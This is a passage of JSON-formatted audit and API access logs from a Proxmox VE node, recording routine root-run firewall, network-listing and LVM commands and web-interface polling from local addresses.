a0=\"date\""} {"@timestamp":1781965784289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965784.289:67079): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225997,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.997:68984): argc=1 a0=\"date\""} {"@timestamp":1781965091757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965091.757:64128): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964431635,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1017"} {"@timestamp":1781964215712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.712:60075): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149fe0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57687 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966224589,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966224.589:68970): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec070 a1=64f8d73c6ae0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964615403,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.403:61788): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965784289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965784.289:67078): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225993,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.993:68982): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965091750,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965091.750:64126): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964428597,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964215706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.706:60074): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c9780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966224563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966224.563:68969): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be8d0 a1=64f8d73bb8b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965542750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964615396,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.396:61787): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965784275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965784.275:67076): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225985,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.985:68981): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965091749,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965091.749:64125): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964427599,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1017"} {"@timestamp":1781964215699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.699:60073): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966220.846:68968): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965542750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781964615389,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.389:61786): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965784275,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965784.275:67075): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225977,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.977:68980): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965086741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965086.741:64123): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61609 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964426593,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 850"} {"@timestamp":1781964215693,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.693:60072): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966220.839:68965): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66227 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965541744,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964615385,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.385:61785): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965779263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965779.263:67068): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225970,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.970:68979): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965086741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965086.741:64122): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61609 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964424582,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964215689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.689:60071): arch=c000003e syscall=59 success=yes exit=0 a0=58858f053b20 a1=58858f05f9f0 a2=58858f02d680 a3=5 items=2 ppid=57677 pid=57683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.942:68962): arch=c000003e syscall=59 success=yes exit=0 a0=60bd2ae87ed0 a1=60bd2ae84c50 a2=60bd2ae66680 a3=5 items=2 ppid=66220 pid=66226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965541744,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:40 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964615379,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.379:61784): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965779263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965779.263:67067): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225963,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.963:68978): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965086733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965086.733:64120): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964423600,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964215685,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.685:60070): arch=c000003e syscall=59 success=yes exit=0 a0=5885783b7ac8 a1=7ffd1d560c20 a2=58858f02d680 a3=58857839b24e items=2 ppid=57677 pid=57679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.939:68961): arch=c000003e syscall=59 success=yes exit=0 a0=60bd0d628ac8 a1=7fff9dbe1120 a2=60bd2ae66680 a3=60bd0d60c24e items=2 ppid=66220 pid=66222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 888"} {"@timestamp":1781964615372,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.372:61783): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965779254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965779.254:67065): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225956,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.956:68977): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965086732,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965086.732:64119): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964420657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964215684,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.684:60069): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd1d560be0 a1=58858f04f1c0 a2=58858f02d680 a3=5 items=2 ppid=57677 pid=57678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.939:68960): arch=c000003e syscall=59 success=yes exit=0 a0=7fff9dbe10e0 a1=60bd2ae6d310 a2=60bd2ae66680 a3=5 items=2 ppid=66220 pid=66221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.036:61782): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965779254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965779.254:67064): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.866:68976): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965085993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.993:64115): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc7a3d13d0 a1=5e3066a893d0 a2=5e3066a67680 a3=5 items=1 ppid=61601 pid=61602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964420657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964215680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.680:60067): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215934,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.934:68958): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540752,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.028:61779): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965775544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.544:67060): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe730633d0 a1=5fc5659621c0 a2=5fc565940680 a3=5 items=1 ppid=64405 pid=64406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.858:68973): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965085906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965085.906:64097): arch=c000003e syscall=59 success=no exit=-2 a0=7fff4bf15630 a1=5ba00f6ab310 a2=5ba00f6a4680 a3=5 items=1 ppid=61582 pid=61583 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964419650,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781964215673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.673:60066): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57676 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.926:68957): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66219 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965539741,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964615020,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.020:61776): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965775444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.444:67042): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcbd80da60 a1=5d76fa6be310 a2=5d76fa6b7680 a3=5 items=1 ppid=64386 pid=64387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966224589,"@rawstring":"node=pve type=EXECVE msg=audit(1781966224.589:68970): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965081723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965081.723:64085): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964416611,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964215666,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.666:60065): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57675 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.918:68956): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538683,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964614992,"@rawstring":"node=pve type=EXECVE msg=audit(1781964614.992:61775): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965774248,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965774.248:67032): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966224563,"@rawstring":"node=pve type=EXECVE msg=audit(1781966224.563:68969): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965081723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965081.723:64084): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415613,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:06:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964215661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.661:60064): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb6b30d30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" 